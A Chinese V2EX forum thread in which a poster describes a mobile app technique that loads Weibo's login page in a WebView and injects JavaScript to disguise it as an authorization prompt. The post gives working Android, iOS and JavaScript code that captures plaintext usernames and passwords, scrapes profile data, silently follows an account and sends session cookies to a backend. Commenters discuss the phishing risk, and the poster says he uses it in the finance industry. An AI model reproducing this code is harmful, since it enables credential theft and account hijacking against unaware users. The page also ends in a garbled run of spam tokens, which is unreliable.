app 端用户信息抓取-微博 - V2EX
V2EX = way to explore
V2EX 是一个关于分享和探索的地方
现在注册
已注册用户请  登录
请不要在回答技术问题时复制粘贴 AI 生成的内容
p2pCoder
V2EX    程序员

app 端用户信息抓取-微博

  •  
  •   p2pCoder
    zgbgx 2018-02-07 08:40:35 +08:00 6284 次点击
    这是一个创建于 2816 天前的主题,其中的信息可能已经有所发展或是发生改变。

    github 地址

    项目目标

    在 app(ios 和 android)端使用 webview 组件与 js 进行交互,串改页面,让用户授权登录后,获取用户关键信息,并完成自动关注一个账号。

    传统爬虫模式的局限

    传统爬虫模式,让用户在客户端在输入账号密码,然后传送到后端进行登录,爬取信息,这种方式将要面对各种人机验证措施,加密方法复杂的情况下,还得选择 selenium,性能更无法保证。同时,对于个人账户,安全措施越来越严,使用代理 ip 进行操作,很容易造成异地登录等问题,代理 ip 也很可能在全网被重复使用的情况下,被封杀,频繁的代理 ip 切换也会带来需要二次登录等问题。 所以这两年年来,发现市面上越来越多的提供 sdk 方式的数据提供商,经过抓包及反编译 sdk,发现其大多数使用 webview 载入第三方页面的方式完成登录,有的在登录完成之后,获取 cookie 传送到后端完成爬取,有的直接在 app 内完成所需信息的收集。

    登录

    这是微博移动端登录页 weibo 原移动端登录页.png 首先使用 Javascript 串改当前页面元素,让用户没法意识到这是微博官方的登录页。

    载入页面

    android

    webView.loadUrl(LOGINPAGEURL); 

    iOS

    [self requestUrl:self.loginPageUrl]; //请求 url 方法 -(void) requestUrl:(NSString*) urlString{ NSURL* url=[NSURL URLWithString:urlString]; NSURLRequest* request=[NSURLRequest requestWithURL:url]; [self.webView loadRequest:request]; } 

    js 代码注入

    首先我们注入 js 代码到 app 的 webview 中 android

    private void injectScriptFile(String filePath) { InputStream input; try { input = webView.getContext().getAssets().open(filePath); byte[] buffer = new byte[input.available()]; input.read(buffer); input.close(); // String-ify the script byte-array using BASE64 encoding String encoded = Base64.encodeToString(buffer, Base64.NO_WRAP); String funstr = "Javascript:(function() {" + "var parent = document.getElementsByTagName('head').item(0);" + "var script = document.createElement('script');" + "script.type = 'text/Javascript';" + "script.innerHTML = decodeURIComponent(escape(window.atob('" + encoded + "')));" + "parent.appendChild(script)" + "})()"; execJsNoReturn(funstr); } catch (IOException e) { Log.e(TAG, "injectScriptFile: " + e); } } 

    iOS

    //注入 js 文件 - (void) injectJsFile:(NSString *)filePath{ NSString *jsPath = [[NSBundle mainBundle] pathForResource:filePath ofType:@"js" inDirectory:@"assets"]; NSData *data=[NSData dataWithContentsOfFile:jsPath]; NSString *respOnData= [data base64EncodedStringWithOptions:0]; NSString *jsStr=[NSString stringWithFormat:@"Javascript:(function() {\ var parent = document.getElementsByTagName('head').item(0);\ var script = document.createElement('script');\ script.type = 'text/Javascript';\ script.innerHTML = decodeURIComponent(escape(window.atob('%@')));\ parent.appendChild(script)})()",responData]; [self.webView evaluateJavascript:jsStr completionHandler:^(id _Nullable htmlStr,NSError * _Nullable error){ }]; } 

    我们都采用读取 js 文件,然后 base64 编码后,使用 window.atob 把其做为一个脚本注入到当前页面(注意:window.atob 处理中文编码后会得到的编码不正确,需要使用 ecodeURIComponent escape 来进行正确的校正。) 在这里已经使用了 app 端,调用 js 的方法来创建元素。

    app 端调用 js 方法

    android 端:

    webView.evaluateJavascript(funcStr, new ValueCallback<String>() { @Override public void onReceiveValue(String s) { } }); 

    ios 端:

    [self.webView evaluateJavascript:funcStr completionHandler:^(id _Nullable htmlStr,NSError * _Nullable error){ }]; 

    这两个方法可以获取返回值,正因为如此,可以使用 js 提取页面信息后,返回给 webview,然后收集信息完成之后,汇总进行通信。

    js 串改页面

    //串改页面元素,让用户以为是授权登录 function getLogin(){ var topEle=selectNode('//*[@id="avatarWrapper"]'); var imgEle=selectNode('//*[@id="avatarWrapper"]/img'); topEle.remove(imgEle); var returnEle=selectNode('//*[@id="loginWrapper"]/a'); returnEle.className=''; returnEle.innerText=''; pEle=selectNode('//*[@id="loginWrapper"]/p'); pEle.className=""; pEle.innerHTML=""; footerEle=selectNode('//*[@id="loginWrapper"]/footer'); footerEle.innerHTML=""; var loginNameEle=selectNode('//*[@id="loginName"]'); loginNameEle.placeholder="请输入用户名"; var buttOnEle=selectNode('//*[@id="loginAction"]'); buttonEle.innerText="请进行用户授权"; selectNode('//*[@id="loginWrapper"]/form/section/div[1]/i').className=""; selectNode('//*[@id="loginWrapper"]/form/section/div[2]/i').className=""; selectNode('//*[@id="loginAction"]').className="btn"; selectNode('//a[@id="loginAction"]').addEventListener('click',transPortUnAndPw,false); return window.webkit; } function transPortUnAndPw(){ username=selectNode('//*[@id="loginName"]').value; pwd=selectNode('//*[@id="loginPassword"]').value; window.webkit.messageHandlers.getInfo({body:JSON.stringify({"username":username,"pwd":pwd})}); } 

    使用 js 修改页面元素,使之看起来不会让人发觉这是 weibo 官方的页面。 修改后的页面如图: 修改后登录页面.png

    串改登录点击事件,获取用户名密码

    selectNode('//a[@id="loginAction"]').addEventListener('click',transPortUnAndPw,false); function transPortUnAndPw(){ username=selectNode('//*[@id="loginName"]').value; pwd=selectNode('//*[@id="loginPassword"]').value; window.webkit.messageHandlers.getInfo({body:JSON.stringify({"username":username,"pwd":pwd})}); } 

    同时串改登录点击按钮,通过 js 调用 app webview 的方法,把用户名和密码传递给 app webview 完成信息收集。

    js 调用 webview 的方法

    android 端:

    //js 代码 window.weibo.getPwd(JSON.stringify({"username":username,"pwd":pwd})); //Java 代码 webView.addJavascriptInterface(new WeiboJsInterface(), "weibo"); public class WeiboJsInterface { @JavascriptInterface public void getPwd(String returnValue) { try { unpwDict = new JSONObject(returnValue); } catch (JSONException e) { e.printStackTrace(); } } } 

    android 通过实现一个 @JavascriptInterface 接口,把这个方法添加类添加到 webview 的浏览器内核之上,当调用这个方法时,会触发 android 端的调用。 ios 端:

    //js 代码 window.webkit.messageHandlers.getInfo({body:JSON.stringify({"username":username,"pwd":pwd})}); //oc 代码 WKUserContentController *userCOntentController= [[WKUserContentController alloc] init]; [userContentController addScriptMessageHandler:self name:@"getInfo"]; - (void)userContentController:(WKUserContentController *)userContentController didReceiveScriptMessage:(WKScriptMessage *)message { self.unpwDict=[self getReturnDict:message.body]; } 

    ios 方式,实现方式与此类似,不过由于我对 oc 以及 ios 开发不熟悉,代码运行不符合期望,希望专业的能指正。

    个人信息获取

    直接提取页面的难点

    webview 这个组件,无论是在 android 端 onPageFinished 方法还是 ios 端的 didFinishNavigation 方法,都无法正确判定页面是否加载完全。所以对于很多页面,还是选择走接口

    请求接口

    本项目中,获取用户自己的微博,关注,和分析,都是使用接口,拿到预览页,直接解析数,对于关键的参数,需要仔细抓包获取 抓包 1.png 仔细分析 “我”这个标签下的请求情况,发现 https://m.weibo.cn/home/me?format=cards 这个链接包含用户核心数据,通过这个请求,获取核心参数,然后,获取用户的微博 关注 粉丝的预览页面。 然后通过

    JSON.stringify(JSON.parse(document.getElementsByTagName('pre')[0].innerText)) 

    获取 json 字符串,并传到 app 端进行解析。 解析及多次请求的逻辑

    请求页面

    也有页面,如个人料,页面较简单,可以使用 js 提取

    js 代码

    function getPersonInfo(){ var name=selectNodeText('//*[@id="J_name"]'); var sex=selectNodeText('/*[@id="sex"]/option[@selected]'); var location=selectNodeText('//*[@id="J_location"]'); var year=selectNodeText('//*[@id="year"]/option[@selected]'); var mOnth=selectNodeText('//*[@id="month"]/option[@selected]'); var day=selectNodeText('//*[@id="day"]/option[@selected]'); var email=selectNodeText('//*[@id="J_email"]'); var blog=selectNodeText('//*[@id="J_blog"]'); if(blog=='输入博客地址'){ blog='未填写'; } var qq=selectNodeText('//*[@id="J_QQ"]'); if(qq=='QQ 帐号'){ qq="未填写"; } birthday=year+'-'+month+'-'+day; theDict={'name':name,'sex':sex,'localtion':location,'birthday':birthday,'email':email,'blog':blog,'qq':qq}; return JSON.stringify({'personInfomation':theDict}); } 

    由于 webview 不支持 $x的 xpath 写法,为了方便,使用原生的 XPathEvaluator,实现了特定的提取。

    function selectNodes(sXPath) { var evaluator = new XPathEvaluator(); var result = evaluator.evaluate(sXPath, document, null, XPathResult.ANY_TYPE, null); if (result != null) { var nodeArray = []; var nodes = result.iterateNext(); while (nodes) { nodeArray.push(nodes); nodes = result.iterateNext(); } return nodeArray; } return null; }; //选取子节点 function selectChildNode(sXPath, element) { var evaluator = new XPathEvaluator(); var newResult = evaluator.evaluate(sXPath, element, null, XPathResult.ANY_TYPE, null); if (newResult != null) { var newNode = newResult.iterateNext(); return newNode; } } function selectChildNodeText(sXPath, element) { var evaluator = new XPathEvaluator(); var newResult = evaluator.evaluate(sXPath, element, null, XPathResult.ANY_TYPE, null); if (newResult != null) { var newNode = newResult.iterateNext(); if (newNode != null) { return newNode.textContent.replace(/(^\s*)|(\s*$)/g, ""); ; } else { return ""; } } } function selectChildNodes(sXPath, element) { var evaluator = new XPathEvaluator(); var newResult = evaluator.evaluate(sXPath, element, null, XPathResult.ANY_TYPE, null); if (newResult != null) { var nodeArray = []; var newNode = newResult.iterateNext(); while (newNode) { nodeArray.push(newNode); newNode = newResult.iterateNext(); } return nodeArray; } } function selectNodeText(sXPath) { var evaluator = new XPathEvaluator(); var newResult = evaluator.evaluate(sXPath, document, null, XPathResult.ANY_TYPE, null); if (newResult != null) { var newNode = newResult.iterateNext(); if (newNode) { return newNode.textContent.replace(/(^\s*)|(\s*$)/g, ""); ; } return ""; } } function selectNode(sXPath) { var evaluator = new XPathEvaluator(); var newResult = evaluator.evaluate(sXPath, document, null, XPathResult.ANY_TYPE, null); if (newResult != null) { var newNode = newResult.iterateNext(); if (newNode) { return newNode; } return null; } } 

    自动关注用户

    由于个人微博页面 onPageFinished 与 didFinishNavigation 这两个方法无法判定页面是否加载完全, 为了解决这个问题,在 android 端,使用拦截 url,判定页面加载图片的数量来确定,是否,加载完全

    //由于页面的正确加载 onPageFinieshed 和 onProgressChanged 都不能正确判定,所以选择在加载多张图片后,判定页面加载完成。 //在这样的情况下,自动点击元素,完成自动关注用户。 @Override public void onLoadResource(WebView view, String url) { if (webView.getUrl().contains(AUTOFOCUSURL) && url.contains("jpg")) { newIndex++; if (newIndex == 5) { webView.post(new Runnable() { @Override public void run() { injectJsUseXpath("autoFocus.js"); execJsNoReturn("autoFocus();"); } }); } } super.onLoadResource(view, url); } 

    js 自动点击

    function autoFocus(){ selectNode('//span[@class="m-add-box"]').click(); } 

    在 ios 端,使用访问接口的方式 抓包 2.png 除了目标用户的 id 外,还有一个 st 字符串,通过 chrome 的 search,定位,然后通过 js 提取

    function getSt(){ return config['st']; } 

    然后构造 post,请求,完成关注

    - (void) autoFocus:(NSString*) st{ //Wkwebview 采用 js 模拟完成表单提交 NSString *jsStr=[NSString stringWithFormat:@"function post(path, params) {var method = \"post\"; \ var form = document.createElement(\"form\"); \ form.setAttribute(\"method\", method); \ form.setAttribute(\"action\", path); \ for(var key in params) { \ if(params.hasOwnProperty(key)) { \ var hiddenField = document.createElement(\"input\");\ hiddenField.setAttribute(\"type\", \"hidden\");\ hiddenField.setAttribute(\"name\", key);\ hiddenField.setAttribute(\"value\", params[key]);\ form.appendChild(hiddenField);\ }\ }\ document.body.appendChild(form);\ form.submit();\ }\ post('https://m.weibo.cn/api/friendships/create',{'uid':'1195242865','st':'%@'});",st]; [self execJsNoReturn:jsStr]; } 

    ios WkWebview 没有 post 请求,接口,所以构造一个表单提交,完成 post 请求。 完成,一个自动关注,当然,构造一个用户 id 的列表,很简单就可以实现自动关注多个用户。

    关于 cookie

    如果需要爬取的数据量大,可以选择爬取少量关键信息后,把 cookie 传到后端处理 android 端 cookie 处理

    CookieSyncManager.createInstance(context); CookieManager cookieManager = CookieManager.getInstance(); 

    通过 cookieManage 对象可以获取 cookie 字符串,传送到后端,继续爬取

    ios 端 cookie 处理

    NSDictionary *cookie = [AppInfo shareAppInfo].userModel.cookies; 

    处理方式与 android 端类似。

    总结

    对于数据工程师来说,webview 有点类似于 selenium,但是运行在服务端的 selenium,有太多的局限性。webview 的在客户端运行,就像一个用户就是一台肉机。 以 webview 为基础,使用 app 收集信息加以利用,现阶段大多数人都还没意识到,但是,市场上的产品已经越来越多,特别是那些对数据有特殊需要的各种金融机构。 对于普通用户来说,不要轻易在一个 app 上登录第三方账户,信息泄露,财产损失,在按下登录或者本例中的假装授权后,都是不可避免的。

    18 条回复    2018-02-07 17:24:51 +08:00
    rogwan
        1
    rogwan  
       2018-02-07 08:52:23 +08:00 via Android   3
    文章最后的提示很有意义,以前可以看网址判断是否钓鱼,现在 APP 传来一个授权页,用户很难判断是否钓鱼页面。
    Nick2VIPUser
        2
    Nick2VIPUser  
       2018-02-07 08:55:05 +08:00 via iPhone
    给楼主点赞,有空尝试一下
    p2pCoder
        3
    p2pCoder  
    OP
       2018-02-07 09:20:05 +08:00
    @rogwan 如果是服务端 拿到了账号密码,还有一些安全机制来防护,这种方式,就相当于,完全暴露了,也省去了很多成本。
    hotfarm
        4
    hotfarm  
       2018-02-07 09:23:56 +08:00
    微博的输密码式的第三方登录确实容易被利用
    peterpei
        5
    peterpei  
       2018-02-07 09:25:34 +08:00 via Android
    6
    LeungJZ
        6
    LeungJZ  
       2018-02-07 09:26:27 +08:00
    支持楼主。
    确实需要留个心眼了。
    Level5
        7
    Level5  
       2018-02-07 09:32:02 +08:00
    赞一个.但不够通俗啊!部分代码非 IOS\android 的看不懂.
    p2pCoder
        8
    p2pCoder  
    OP
       2018-02-07 09:37:41 +08:00
    @Level5 要做这个的确需要些基础,android ios js,最好还有爬虫经验,
    我 android ios 都不是很熟,代码还有待改进
    如果会 selenium,可以用 selenium 的思想来看
    p2pCoder
        9
    p2pCoder  
    OP
       2018-02-07 09:39:44 +08:00
    @Level5 东西涉及的多,讲的也不清,想多了解,还是看源码吧
    rogwan
        10
    rogwan  
       2018-02-07 09:47:57 +08:00 via Android
    @p2pCoder 是的,现在服务端至少密码现在基本都是加密数据,sha256 以上的密级拿到了也没用,这个可是直接拿明文
    Applenice
        11
    Applenice  
       2018-02-07 09:54:12 +08:00
    唔。。谢谢楼主~点赞
    hg
        12
    hg  
       2018-02-07 11:13:46 +08:00
    移动端太多这种缺陷了,不说普通人,我们自己就算意识到当前的操作有问题,也有时候会懒到无所谓,对于这种直接放弃。
    syahd
        13
    syahd  
       2018-02-07 11:34:27 +08:00
    star 了,有时间仔细拜读下
    p2pCoder
        14
    p2pCoder  
    OP
       2018-02-07 12:32:06 +08:00
    @hg 比起 app,还是浏览器 网页 更靠谱
    PythoneerDev6
        15
    PythoneerDev6  
       2018-02-07 16:29:10 +08:00
    1、补充一点,我推荐直接 console.log 打印这些信息,同时重写 WebViewChromeClient 的 onConsoleMessage,拿到这些数据。

    2、这种方式仅限于网页形式的授权, 如果用户安装 Weibo 照样还是会通过 scheme 跳转到 WeiBo 授权组件来处理。这时候就没法拿到这些信息了。
    p2pCoder
        16
    p2pCoder  
    OP
       2018-02-07 16:41:31 +08:00
    @PythoneerDev6 感谢指导,对于 app 端开发我也不是很熟
    还有这个 安装 weibo app 后,会通过 scheme 来跳转 Weibo 授权组件应该怎么理解?
    我安装了 weibo app,并没有 跳转到 weibo app。
    还有这个项目使用的移动端的,也可以串改 pc 端页面,留存输入框来让用户输入账号密码登录。
    PythoneerDev6
        17
    PythoneerDev6  
       2018-02-07 17:21:14 +08:00
    @p2pCoder 之所以能注入 js,是因为移动端的 App 通过通过 WebView 来加载授权 H5 页面,所以无论如何都能拿到这些信息。 其次,没太理解你说的修改 pc 端页面是什么意思。 sheme 跳转你可以理解为 App1 跳转到 App2 处理完数据之后回调给 App 1,类似就有一些市面上的 App 进行微信登录。 也可以理解为进程间通信。
    p2pCoder
        18
    p2pCoder  
    OP
       2018-02-07 17:24:51 +08:00
    @PythoneerDev6 app 间通信我知道,但是对于这个项目本身没啥影响吧,这就是给没有权限的 app 去抓取数据的
    我是 互金行业的,现阶段主要利用这种机制去获取 需要用户登录授权的关键建模元数据
    关于     帮助文档     自助推广系统     博客     API     FAQ     Solana     3892 人在线   最高记录 6679       Select Language
    创意工作者们的社区
    World is powered by solitude
    VERSION: 3.9.8.5 33ms UTC 05:30 PVG 13:30 LAX 22:30 JFK 01:30
    Do have faith in what you're doing.
    ubao msn snddm index pchome yahoo rakuten mypaper meadowduck bidyahoo youbao zxmzxm asda bnvcg cvbfg dfscv mmhjk xxddc yybgb zznbn ccubao uaitu acv GXCV ET GDG YH FG BCVB FJFH CBRE CBC GDG ET54 WRWR RWER WREW WRWER RWER SDG EW SF DSFSF fbbs ubao fhd dfg ewr dg df ewwr ewwr et ruyut utut dfg fgd gdfgt etg dfgt dfgd ert4 gd fgg wr 235 wer3 we vsdf sdf gdf ert xcv sdf rwer hfd dfg cvb rwf afb dfh jgh bmn lgh rty gfds cxv xcv xcs vdas fdf fgd cv sdf tert sdf sdf sdf sdf sdf sdf sdf sdf sdf sdf sdf sdf sdf sdf sdf sdf sdf sdf sdf sdf sdf sdf sdf sdf sdf sdf sdf sdf sdf sdf sdf sdf sdf sdf sdf sdf sdf sdf sdf sdf shasha9178 shasha9178 shasha9178 shasha9178 shasha9178 liflif2 liflif2 liflif2 liflif2 liflif2 liblib3 liblib3 liblib3 liblib3 liblib3 zhazha444 zhazha444 zhazha444 zhazha444 zhazha444 dende5 dende denden denden2 denden21 fenfen9 fenf619 fen619 fenfe9 fe619 sdf sdf sdf sdf sdf zhazh90 zhazh0 zhaa50 zha90 zh590 zho zhoz zhozh zhozho zhozho2 lislis lls95 lili95 lils5 liss9 sdf0ty987 sdft876 sdft9876 sdf09876 sd0t9876 sdf0ty98 sdf0976 sdf0ty986 sdf0ty96 sdf0t76 sdf0876 df0ty98 sf0t876 sd0ty76 sdy76 sdf76 sdf0t76 sdf0ty9 sdf0ty98 sdf0ty987 sdf0ty98 sdf6676 sdf876 sd876 sd876 sdf6 sdf6 sdf9876 sdf0t sdf06 sdf0ty9776 sdf0ty9776 sdf0ty76 sdf8876 sdf0t sd6 sdf06 s688876 sd688 sdf86